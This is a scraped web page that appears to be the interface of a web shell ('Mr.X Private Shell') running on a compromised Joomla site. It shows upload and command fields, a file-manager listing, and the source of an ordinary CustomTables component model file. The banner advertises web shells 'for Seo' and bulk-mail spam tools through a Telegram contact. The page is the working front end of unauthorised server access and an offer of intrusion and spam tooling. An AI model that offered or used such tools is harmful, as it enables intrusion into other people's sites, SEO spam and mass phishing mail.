__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/
// No direct access to this file access');
defined('_JEXEC') or die();

// import the Joomla modellist library
jimport('joomla.application.component.modellist');

use CustomTables\common;
use CustomTables\CT;
use CustomTables\ListOfFields;
use CustomTables\DataTypes;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Version;
use Joomla\CMS\MVC\Model\ListModel;

/**
 * Listoffields Model
 */
class CustomtablesModelListoffields extends ListModel
{
	var $tableid;
	var CT $ct;
	var $helperListOfFields;

	public function __construct($config = array())
	{
		if (empty($config['filter_fields'])) {
			$config['filter_fields'] = array(
				'a.id', 'id',
				'a.published', 'published',
				'a.tableid', 'tableid',
				'a.ordering', 'ordering',
				'a.fieldname', 'fieldname',
				'a.type', 'type'
			);
		}
		parent::__construct($config);

		$this->ct = new CT;
		$this->ct->setParams();

		require_once(CUSTOMTABLES_LIBRARIES_PATH . DIRECTORY_SEPARATOR . 'customtables' . DIRECTORY_SEPARATOR . 'views' . DIRECTORY_SEPARATOR . 'admin-listoftables.php');
		$this->helperListOfFields = new listOfFields($this->ct);
	}

	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// load parent items
		$items = parent::getItems();

		$translations = DataTypes::fieldTypeTranslation();
		$isrequiredTranslation = DataTypes::isrequiredTranslation();

		// set selection value to a translatable value
		if (CustomtablesHelper::checkArray($items)) {
			foreach ($items as $item) {
				// convert type
				if (isset($translations[$item->type])) {
					$item->typeLabel = $translations[$item->type];
				} else {
					if ($item->type == '')
						$item->typeLabel = '<span style="color:red;">NOT SELECTED</span>';
					else
						$item->typeLabel = '<span style="color:red;">UNKNOWN "' . $item->type . '" TYPE</span>';
				}

				// convert isrequired
				if (isset($isrequiredTranslation[$item->isrequired])) {
					$item->isrequired = $isrequiredTranslation[$item->isrequired];
				}
			}
		}
		return $items;
	}

	/**
	 * Method to autopopulate the model state.
	 *
	 * @return  void
	 */

	protected function populateState($ordering = 'a.id', $direction = 'asc')
	{
		$version_object = new Version;
		$version = (int)$version_object->getShortVersion();

		if ($version < 4) {
			$search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search');
			$this->setState('filter.search', $search);

			$type = $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type');
			$this->setState('filter.type', $type);

			$published = $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '', 'string');
			$this->setState('filter.published', $published);
		}

		$this->setState('params', ComponentHelper::getParams('com_customtables'));

		parent::populateState($ordering, $direction);

		if ($version < 4) {
			$ordering = $this->state->get('list.ordering');
			$direction = strtoupper($this->state->get('list.direction'));
			$app = Factory::getApplication();
			$app->setUserState($this->context . '.list.fullordering', $ordering . ' ' . $direction);
		}
	}

	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return    string    An SQL query
	 */
	protected function getListQuery()
	{
		$published = $this->getState('filter.published');
		$search = $this->getState('filter.search');
		$type = $this->getState('filter.type');
		$orderCol = $this->state->get('list.ordering', 'a.id');
		$orderDirection = $this->state->get('list.direction', 'asc');
		$tableId = common::inputGetInt('tableid');
		$query = $this->helperListOfFields->getListQuery($tableId, $published, $search, $type, $orderCol, $orderDirection, null, null, true);
		return $query;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.fieldname');
		$id .= ':' . $this->getState('filter.type');

		return parent::getStoreId($id);
	}
}

Filemanager

Name Type Size Permission Actions
fields Folder 0775
forms Folder 0775
rules Folder 0775
categories.php File 17.97 KB 0664
customtables.php File 9.78 KB 0664
databasecheck.php File 1.85 KB 0664
documentation.php File 455 B 0664
fields.php File 17.67 KB 0664
importtables.php File 3.67 KB 0664
index.html File 43 B 0664
layouts.php File 17.9 KB 0664
listofcategories.php File 3.75 KB 0664
listoffields.php File 4.68 KB 0664
listoflayouts.php File 4.01 KB 0664
listofrecords.php File 5.31 KB 0664
listoftables.php File 3.83 KB 0664
records.php File 4.17 KB 0664
tables.php File 15.49 KB 0664
Filemanager